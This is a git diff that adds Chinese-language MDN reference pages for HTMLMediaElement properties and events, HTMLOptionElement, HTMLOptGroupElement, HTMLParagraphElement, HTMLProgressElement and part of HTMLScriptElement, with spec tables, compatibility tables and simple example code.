{{Compat("api.HTMLMediaElement.playbackRate")}}

+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/playing_event/index.html b/files/zh-cn/web/api/htmlmediaelement/playing_event/index.html new file mode 100644 index 0000000000..edcdb805ff --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/playing_event/index.html @@ -0,0 +1,80 @@ +--- +title: 'HTMLMediaElement: playing' +slug: Web/API/HTMLMediaElement/playing_event +translation_of: Web/API/HTMLMediaElement/playing_event +--- +

playing事件,当播放准备开始时(之前被暂停或者由于数据缺乏被暂缓)被触发 

+ +

基本信息

+ +
+
规范
+
HTML5 media
+
接口
+
Event
+
冒泡
+
No
+
可取消
+
No
+
目标
+
Element
+
默认行为
+
None.
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ + + + diff --git a/files/zh-cn/web/api/htmlmediaelement/progress_event/index.html b/files/zh-cn/web/api/htmlmediaelement/progress_event/index.html new file mode 100644 index 0000000000..7d0ad8a3e4 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/progress_event/index.html @@ -0,0 +1,153 @@ +--- +title: 'HTMLMediaElement: progress event' +slug: Web/API/HTMLMediaElement/progress_event +translation_of: Web/API/HTMLMediaElement/progress_event +--- +
{{APIRef}}
+ +

progress 事件在浏览器加载一个资源的时候周期性触发

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("Event")}}
Event handler propertyonprogress
+ +

示例

+ +

在线示例

+ +

HTML

+ +
<div class="example">
+
+    <button type="button">Load video</button>
+    <video controls width="250"></video>
+
+    <div class="event-log">
+        <label>Event log:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+</div>
+ + + +

JavaScript

+ +
const loadVideo = document.querySelector('button');
+const video = document.querySelector('video');
+const eventLog = document.querySelector('.event-log-contents');
+let source = null;
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}\n`;
+}
+
+video.addEventListener('loadstart', handleEvent);
+video.addEventListener('progress', handleEvent);
+video.addEventListener('canplay', handleEvent);
+video.addEventListener('canplaythrough', handleEvent);
+
+loadVideo.addEventListener('click', () => {
+
+    if (source) {
+        document.location.reload();
+    } else {
+        loadVideo.textContent = "Reset example";
+        source = document.createElement('source');
+        source.setAttribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm');
+        source.setAttribute('type', 'video/webm');
+
+        video.appendChild(source);
+    }
+});
+ +

结果

+ +

{{ EmbedLiveSample('Live_example', '100%', '200px') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态
{{SpecName('HTML WHATWG', "media.html#event-media-progress", "progress media event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-progress", "progress media event")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.progress_event")}}

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/readystate/index.html b/files/zh-cn/web/api/htmlmediaelement/readystate/index.html new file mode 100644 index 0000000000..845b06d2aa --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/readystate/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLMediaElement.readyState +slug: Web/API/HTMLMediaElement/readyState +translation_of: Web/API/HTMLMediaElement/readyState +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLMediaElement.readyState 属性返回音频/视频的当前就绪状态。

+ +

语法

+ +
var readyState = audioOrVideo.readyState;
+ +

返回值

+ +

无符号整型 An unsigned short.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
HAVE_NOTHING0没有关于音频/视频是否就绪的信息
HAVE_METADATA1音频/视频已初始化
HAVE_CURRENT_DATA2数据已经可以播放(当前位置已经加载) 但没有数据能播放下一帧的内容
HAVE_FUTURE_DATA3当前及至少下一帧的数据是可用的(换句话来说至少有两帧的数据)
HAVE_ENOUGH_DATA4 可用数据足以开始播放-如果网速得到保障 那么视频可以一直播放到底
+ +

实例

+ +

这个例子会监听id为example的 audio 的数据. 他会检查当前位置是否可以播放, 会的话执行播放。

+ +
<audio id="example" preload="auto">
+ <source src="sound.ogg" type="audio/ogg" />
+</audio>
+
+
+ +
var obj = document.getElementById('example');
+
+obj.addEventListener('loadeddata', function() {
+
+  if(obj.readyState >= 2) {
+    obj.play();
+  }
+
+});
+
+ +

 

+ +

参考文档

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#htmlmediaelement", "HTMLMediaElement.readyState")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.readyState")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} [1]{{CompatIE("9")}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

[1] The NETWORK_LOADED state was removed to align with the HTML spec in Gecko 2.0 {{geckoRelease(2)}}. 

+ +

你或许还可以看看

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/seekable/index.html b/files/zh-cn/web/api/htmlmediaelement/seekable/index.html new file mode 100644 index 0000000000..cd23bfc3e9 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/seekable/index.html @@ -0,0 +1,71 @@ +--- +title: HTMLMediaElement.seekable +slug: Web/API/HTMLMediaElement/seekable +translation_of: Web/API/HTMLMediaElement/seekable +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("HTMLMediaElement")}}的只读属性seekable返回一个包含了用户可以跳转到的时刻的区域(如果有)的{{domxref('TimeRanges')}}对象。

+ +

Syntax

+ +
var seekable = audioOrVideo.seekable;
+ +

+ +

一个{{domxref('TimeRanges')}}对象。

+ +

示例

+ +
var video = document.querySelector("video");
+var timeRangesObject = video.seekable;
+var timeRanges = [];
+//遍历所有时间区域并输出数组
+for (let count = 0; count < timeRangesObject.length; count ++) {
+    timeRanges.push([timeRangesObject.start(count), timeRangesObject.end(count)]);
+}
+
+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-video-element.html#dom-media-seekable", "HTMLMediaElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#dom-media-seekable", "HTMLMediaElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
{{SpecName('Media Source Extensions','#htmlmediaelement-extensions','HTMLMediaElement extensions, like for seekable')}}{{Spec2('Media Source Extensions')}}Specifies a new algorithm for returning the seekable time range of a media element whose source is a {{domxref("MediaSource")}} object.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.HTMLMediaElement.seekable")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/src/index.html b/files/zh-cn/web/api/htmlmediaelement/src/index.html new file mode 100644 index 0000000000..f02d765c3b --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/src/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLMediaElement.src +slug: Web/API/HTMLMediaElement/src +translation_of: Web/API/HTMLMediaElement/src +--- +
{{APIRef("HTML DOM")}}
+ +
HTMLMediaElement.src属性反映HTML媒体元素的src 属性的值,该属性指示要在元素中使用的媒体资源的URL。
+ +
+

Note: 了解此元素中当前正在使用的媒体资源的URL的最佳方法是查看 {{domxref("HTMLMediaElement.currentSrc", "currentSrc")}}属性的值,该属性还考虑从 {{domxref("HTMLSourceElement")}} (代表 {{HTMLElement("source")}} 元素)中提供的列表中选择最佳或首选媒体资源

+
+ +

Syntax

+ +
var mediaUrl = HTMLMediaElement.src;
+ +

Value

+ +

一个{{domxref("USVString")}}对象,包含要在元素中使用的媒体资源的URL;此属性反映HTML元素的src 属性的值。

+ +

Example

+ +
var obj = document.createElement('video');
+console.log(obj.src); // ""
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "embedded-content.html#dom-media-src", "HTMLMediaElement.src")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#dom-media-src", "HTMLMediaElement.src")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.src")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/srcobject/index.html b/files/zh-cn/web/api/htmlmediaelement/srcobject/index.html new file mode 100644 index 0000000000..9377ebf1a9 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/srcobject/index.html @@ -0,0 +1,102 @@ +--- +title: srcObject +slug: Web/API/HTMLMediaElement/srcObject +translation_of: Web/API/HTMLMediaElement/srcObject +--- +

{{SeeCompatTable}}{{APIRef("")}}

+ +

{{domxref("HTMLMediaElement")}} 接口的 srcObject 属性设定或返回一个对象,这个对象提供了一个与{{domxref("HTMLMediaElement")}}关联的媒体源,这个对象通常是 {{domxref("MediaStream")}} ,但根据规范可以是 {{domxref("MediaSource")}}, {{domxref("Blob")}} 或者 {{domxref("File")}}。

+ +
+

注意: 截至 2020 年 3 月, 只有Safari 支持设置 MediaStream  之外的对象。在其他浏览器跟上之前, 对MediaSource, Blob 和 File, 请考虑返回创建具有{domxref("URL.createObjectURL()")}} 的 URL, 并将其赋值给{{domxref("HTMLMediaElement.src")}} 有关示例,请参阅下文。

+
+ + + +

语法

+ +
var mediaStream = HTMLMediaElement.srcObject
+HTMLMediaElement.srcObject = mediaStream
+
+ +

+ +

一个 {{domxref('MediaStream')}},{{domxref('MediaSource')}},{{domxref('Blob')}} 或者 {{domxref('File')}} 对象(具体支持请参见兼容表)。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态论述
{{SpecName('HTML WHATWG', 'embedded-content.html#media-elements', 'srcObject')}}{{Spec2('HTML WHATWG')}}原始定义。
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(52.0)}}[1]{{CompatGeckoDesktop("18.0")}}[1][2]
+ {{CompatGeckoDesktop("42.0")}}[1]
{{CompatUnknown}}39[1]{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(52.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}39{{CompatUnknown}}{{CompatChrome(52.0)}}
+
+ +

[1] 目前只有 {domxref("MediaStream")}} 对象是支持的。 {domxref("MediaSource")}} , {{domxref("Blob")}} 和 {{domxref("File")}} 对象尚待支持,并会抛出一个类型错误(TypeError)。

+ +

[2] Firefox 的早期版本通过非标准化的名称 mozSrcObject 来实现。

diff --git a/files/zh-cn/web/api/htmlmediaelement/timeupdate_event/index.html b/files/zh-cn/web/api/htmlmediaelement/timeupdate_event/index.html new file mode 100644 index 0000000000..2ae353f7f7 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/timeupdate_event/index.html @@ -0,0 +1,128 @@ +--- +title: 'HTMLMediaElement: timeupdate' +slug: Web/API/HTMLMediaElement/timeupdate_event +tags: + - Audio + - Event + - HTMLMediaElement + - Reference + - Video +translation_of: Web/API/HTMLMediaElement/timeupdate_event +--- +
{{APIRef("HTMLMediaElement")}}
+ +

currentTime更新时会触发timeupdate事件。

+ +

这个事件的触发频率由系统决定,但是会保证每秒触发4-66次(前提是每次事件处理不会超过250ms)。鼓励用户代理根据系统的负载和处理事件的平均成本来改变事件的频率,保证UI更新不会影响视频的解码。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{DOMxRef("Event")}}
TargetElement
Default ActionNone
Event handler property{{domxref("GlobalEventHandlers.ontimeupdate")}}
Specification +

HTML5 media

+
+ +

示例

+ +

These examples add an event listener for the HTMLMediaElement's timeupdate event, then post a message when that event handler has reacted to the event firing. Remember, the event frequency is dependant on the system load.

+ +

Using addEventListener():

+ +
const video = document.querySelector('video');
+
+video.addEventListener('timeupdate', (event) => {
+  console.log('The currentTime attribute has been updated. Again.');
+});
+ +

Using the ontimeupdate event handler property:

+ +
const video = document.querySelector('video');
+
+video.ontimeupdate = (event) => {
+  console.log('The currentTime attribute has been updated. Again.');
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "media.html#event-media-timeupdate", "timeupdate media event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#event-media-timeupdate", "timeupdate media event")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容

+ +

{{Compat("api.HTMLMediaElement.timeupdate_event")}}

+ +

相关事件

+ + + +

更多

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/videotracks/index.html b/files/zh-cn/web/api/htmlmediaelement/videotracks/index.html new file mode 100644 index 0000000000..20ed194746 --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/videotracks/index.html @@ -0,0 +1,51 @@ +--- +title: HTMLMediaElement.videoTracks +slug: Web/API/HTMLMediaElement/videoTracks +translation_of: Web/API/HTMLMediaElement/videoTracks +--- +
{{APIRef("HTML DOM")}}{{draft}}
+ +

 videoTracks 为 {{DOMxRef("HTMLMediaElement")}} 的只读属性,它是一个 {{DOMxRef("VideoTrackList")}} 列表,列表中包含相应媒体元素的视频轨, 视频轨为{{DOMxRef("VideoTrack")}} 类型对象。

+ +

它是一个实时列表; 当相应的媒体元素增加或删除视频轨时,返回列表会发生动态的改变。由此你可以监控和检测视频轨发生的变化。学习 {{SectionOnPage("/en-US/docs/Web/API/VideoTrackList", "Event handlers")}} 可以获得更多关于media element 视频轨的知识.

+ +

Syntax

+ +
var videoTracks = mediaElement.videoTracks;
+ +

返回值

+ +

返回的是一个{{DOMxRef("VideoTrackList")}} 类型值,为相应媒体元素的视频轨列表。可以用访问数组的方法访问这个值,或 {{domxref("VideoTrackList.getTrackById", "getTrackById()")}} 方法访问它.

+ +

列表中包含的每一个 {{DOMxRef("VideoTrack")}} 代表其中的一个视频轨。

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-media-videotracks", "HTMLMediaElement.videoTracks")}}{{Spec2("HTML WHATWG")}}No change from {{SpecName("HTML5 W3C")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLMediaElement.videoTracks")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlmediaelement/volume/index.html b/files/zh-cn/web/api/htmlmediaelement/volume/index.html new file mode 100644 index 0000000000..0c762ebc4b --- /dev/null +++ b/files/zh-cn/web/api/htmlmediaelement/volume/index.html @@ -0,0 +1,57 @@ +--- +title: HTMLMediaElement.volume +slug: Web/API/HTMLMediaElement/volume +translation_of: Web/API/HTMLMediaElement/volume +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLMediaElement.volume 属性可设置媒体播放时的音量。

+ +

语法

+ +
var volume ​= video.volume; //1
+ +

+ +

取值为 0 到 1 的双精度值。0 为静音,1 为音量最大时的值。

+ +

示例

+ +
var obj = document.createElement('audio');
+console.log(obj.volume); // 1
+obj.volume = 0.75;
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "#dom-media-volume", "HTMLMediaElement.volume")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#htmlmediaelement", "HTMLMediaElement.volume")}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLMediaElement.volume")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/htmloptgroupelement/index.html b/files/zh-cn/web/api/htmloptgroupelement/index.html new file mode 100644 index 0000000000..7f89748fac --- /dev/null +++ b/files/zh-cn/web/api/htmloptgroupelement/index.html @@ -0,0 +1,76 @@ +--- +title: HTMLOptGroupElement +slug: Web/API/HTMLOptGroupElement +tags: + - API + - HTML DOM + - optgroup + - 参考 + - 接口 + - 表单 +translation_of: Web/API/HTMLOptGroupElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLOptGroupElement 接口提供一些特别的属性和方法(除了从 {{domxref("HTMLElement")}} 对象接口中继承的以外)以调整 {{HTMLElement("optgroup")}} 元素的布局和显示。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

从 {{domxref("HTMLElement")}} 中继承属性。

+ +
+
{{domxref("HTMLOptGroupElement.disabled")}}
+
是一个 {{domxref("boolean")}},表示整个子代 {{HTMLElement("option")}} 列表是可用的(false)还是不可用的(true)。
+
{{domxref("HTMLOptGroupElement.label")}}
+
是一个 {{domxref("DOMString")}},表示该分组的标签。
+
+ +

方法

+ +

没有专有的方法;从 {{domxref("HTMLElement")}} 中继承方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', "#htmloptgroupelement", "HTMLOptgroupElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "forms.html#the-optgroup-element", "HTMLOptGroupElement")}}{{Spec2('HTML5 W3C')}}和 {{SpecName("DOM2 HTML")}} 相比没有变化
{{SpecName('DOM2 HTML', 'html.html#ID-ID-38450247', 'HTMLOptGroupElement')}}{{Spec2('DOM2 HTML')}}和 {{SpecName("DOM1")}} 相比没有变化
{{SpecName('DOM1', 'level-one-html.html#ID-38450247', 'HTMLOptGroupElement')}}{{Spec2('DOM1')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLOptGroupElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmloptionelement/index.html b/files/zh-cn/web/api/htmloptionelement/index.html new file mode 100644 index 0000000000..4272e516eb --- /dev/null +++ b/files/zh-cn/web/api/htmloptionelement/index.html @@ -0,0 +1,132 @@ +--- +title: HTMLOptionElement +slug: Web/API/HTMLOptionElement +tags: + - API + - HTML DOM + - HTMLOptionElement + - Option + - 参考 + - 接口 + - 选项 +translation_of: Web/API/HTMLOptionElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLOptionElement 接口表示了 {{HTMLElement("option")}} 元素并继承{{domxref("HTMLElement")}}接口所有的类和方法。

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

继承自其父类属性, {{domxref("HTMLElement")}}.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
名称类型描述
defaultSelected{{domxref("Boolean")}}包含了{{htmlattrxref("selected", "option")}} HTML 特性的初始值, 指示默认情况下是否选择该选项。
disabled{{domxref("Boolean")}}反映了{{htmlattrxref("disabled", "option")}} HTML 特性 的值 , 这意味着选项(option)是不可选的。如果一个选项是关闭的{{HTMLElement("optgroup")}}元素的子元素,那么它也可被关闭。 
form{{readonlyInline}}{{domxref("HTMLFormElement")}} +

如果该选项是{{HTMLElement("select")}} 元素的后代,则该属性与相应{{DomXref("HTMLSelectElement")}} 对象的form属性具有相同的值; 否则为null

+
index{{readonlyInline}}long +

该选项在其所属的选项列表中的位置,以树形顺序排列。 如果该选项不是选项列表的一部分,例如为 {{HTMLElement("datalist")}} 元素的一部分时,该值为0

+
label{{domxref("DOMString")}} +

反映{{htmlattrxref("label", "option")}} HTML特性的值,该属性为选项提供了一个标签。 如果没有特别设置此属性,读取它返回元素的文本内容。

+
selected{{domxref("Boolean")}}表示当前该option是否被选择。
text{{domxref("DOMString")}}包含元素的文本内容。
value{{domxref("DOMString")}} +

反映{{htmlattrxref("value", "option")}} HTML特性的值(如果存在);否则反映{{domxref("Node.textContent")}} 特性的值。

+
+ +

方法

+ +

方法继承自其父类, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLOptionElement.Option()")}}是一个创建HTMLOptionElement对象的构造函数。 它有四个值:要显示的文本,文本,关联的值,,defaultSelected的值以及所选的值。 最后三个值是可选的。
+
+ +

格式

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
格式状态注释
{{SpecName('HTML WHATWG', "the-button-element.html#the-option-element", "HTMLOptionElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "forms.html#the-option-element", "HTMLOptionElement")}}{{Spec2('HTML5 W3C')}}一个构造函数Option()已经被添加。form属性可以是null值。
{{SpecName('DOM2 HTML', 'html.html#ID-70901257', 'HTMLOptionElement')}}{{Spec2('DOM2 HTML')}}selected属性改变了它的含义:现在它指示当前是否选择该选项,如果该选项被初始选择,则不再使用该选项。defaultSelected属性不再是只读的。
{{SpecName('DOM1', 'level-one-html.html#ID-70901257', 'HTMLOptionElement')}}{{Spec2('DOM1')}}初始定义
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLOptionElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmloptionelement/option/index.html b/files/zh-cn/web/api/htmloptionelement/option/index.html new file mode 100644 index 0000000000..c00336924d --- /dev/null +++ b/files/zh-cn/web/api/htmloptionelement/option/index.html @@ -0,0 +1,47 @@ +--- +title: Option() +slug: Web/API/HTMLOptionElement/Option +tags: + - API + - HTML DOM + - HTMLOptionElement +translation_of: Web/API/HTMLOptionElement/Option +--- +

{{APIRef("HTML DOM")}}

+ +

用于创建{{domxref("HTMLOptionElement")}}的构造函数。

+ +

句法

+ +
var optionElementReference = new Option(text, value, defaultSelected, selected);
+ +

参数

+ +
+
文字{{optional_inline}}
+
表示元素内容的{{domxref("DOMString")}},即显示的文本。如果没有指定,则使用默认值""(空字符串)。
+
值{{optional_inline}}
+
表示{{domxref("HTMLOptionElement")}}的值的{{domxref("DOMString")}},即value等价的{{htmlelement("option")}} 属性。如果未指定,则将文本的值用作值,例如,将表单提交给服务器时,相关联的{{htmlelement("select")}}元素的值。
+
defaultSelected {{optional_inline}}
+
设置{{htmlattrxref("selected", "option")}}属性值的{{domxref("Boolean")}},也就是说这个{{htmlelement("option")}}是默认值当第一次加载页面时,在{{htmlelement("select")}}元素中选择。如果没有指定,false则使用默认值请注意,true 如果选项尚未被选中,则该值不会将选项设置为选中状态。 
+
选中{{optional_inline}}
+
A {{domxref("Boolean")}}设置选项的选择状态; 默认是false(未选中)。如果省略,即使defaultSelected参数是true,该选项没有被选中。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
HTML5
+ 该规范中"选项"的定义。
建议 
diff --git a/files/zh-cn/web/api/htmlparagraphelement/index.html b/files/zh-cn/web/api/htmlparagraphelement/index.html new file mode 100644 index 0000000000..29c6f49b82 --- /dev/null +++ b/files/zh-cn/web/api/htmlparagraphelement/index.html @@ -0,0 +1,71 @@ +--- +title: HTMLParagraphElement +slug: Web/API/HTMLParagraphElement +translation_of: Web/API/HTMLParagraphElement +--- +
+
{{ APIRef("HTML DOM") }}
+ +
+
+ +

HTMLParagraphElement 接口可以提供超过其继承的{{domxref("HTMLElement")}} 对象额外的属性 ,用以操作 {{HTMLElement("p")}} 元素.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLParagraphElement.align")}} {{obsolete_inline}}
+
A {{domxref("DOMString")}} representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context. The possible values are "left", "right", "justify", and "center".
+
+ +

Methods

+ +

No specific methods, inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmlparagraphelement", "HTMLParagraphElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "grouping-content.html#the-p-element", "HTMLParagraphElement")}}{{Spec2('HTML5 W3C')}}The following property is now obsolete: align.
{{SpecName('DOM2 HTML', 'html.html#ID-84675076', 'HTMLParagraphElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-84675076', 'HTMLParagraphElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLParagraphElement")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlprogresselement/index.html b/files/zh-cn/web/api/htmlprogresselement/index.html new file mode 100644 index 0000000000..ad500629a1 --- /dev/null +++ b/files/zh-cn/web/api/htmlprogresselement/index.html @@ -0,0 +1,136 @@ +--- +title: HTMLProgressElement +slug: Web/API/HTMLProgressElement +translation_of: Web/API/HTMLProgressElement +--- +
{{ APIRef("HTML DOM") }}
+ +

The HTMLProgressElement interface provides special properties and methods (beyond the regular {{domxref("HTMLElement")}} interface it also has available to it by inheritance) for manipulating the layout and presentation of {{HTMLElement("progress")}} elements.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLProgressElement.max")}}
+
Is a double value reflecting the content attribute of the same name, limited to numbers greater than zero. Its default value is 1.0.
+
{{domxref("HTMLProgressElement.position")}}{{readonlyInline}}
+
Returns a double value returning the result of dividing the current value (value) by the maximum value (max); if the progress bar is an indeterminate progress bar, it returns -1.
+
{{domxref("HTMLProgressElement.value")}}
+
Is a double value that reflects the current value; if the progress bar is an indeterminate progress bar, it returns 0.
+
{{domxref("HTMLProgressElement.labels")}}{{readonlyInline}}
+
Returns {{domxref("NodeList")}} containing the list of {{HTMLElement("label")}} elements that are labels for this element.
+
+ +

Methods

+ +

No specific method; inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "forms.html#the-progress-element", "HTMLProgressElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5.1', "forms.html#the-progress-element", "HTMLProgressElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "forms.html#the-progress-element", "HTMLProgressElement")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
labels{{CompatVersionUnknown}}{{CompatNo}}{{CompatGeckoDesktop(56)}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
labels{{CompatUnknown}}{{CompatNo}}{{CompatGeckoMobile(56)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Implemented in {{bug(556743)}}.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlscriptelement/index.html b/files/zh-cn/web/api/htmlscriptelement/index.html new file mode 100644 index 0000000000..c9b85d01e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlscriptelement/index.html @@ -0,0 +1,284 @@ +--- +title: HTMLScriptElement +slug: Web/API/HTMLScriptElement +translation_of: Web/API/HTMLScriptElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTML脚本元素暴露HTMLScriptElement接口,它提供了特殊的属性和方法(超出了常规HTMLElement对象接口,他们也可以通过继承操纵<脚本>元素的布局和演示。)
+  

+ +

Properties

+ +

从其父类中继承的属性, {{domxref("HTMLElement")}}。
+  

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
type{{domxref("DOMString")}}代表了脚本的MIME类型。它反映了{{htmlattrxref("type","script")}} 属性。如何解析奇异的编程语言,请阅读这篇文章。
src{{domxref("DOMString")}}代表了使用外部脚本资源的地址。它反映了{{htmlattrxref("src","script")}}属性。
htmlFor {{obsolete_inline}}{{domxref("DOMString")}}他htmlFor属性设置或返回的值的属性标签。属性指定的表单元素绑定到一个标签。
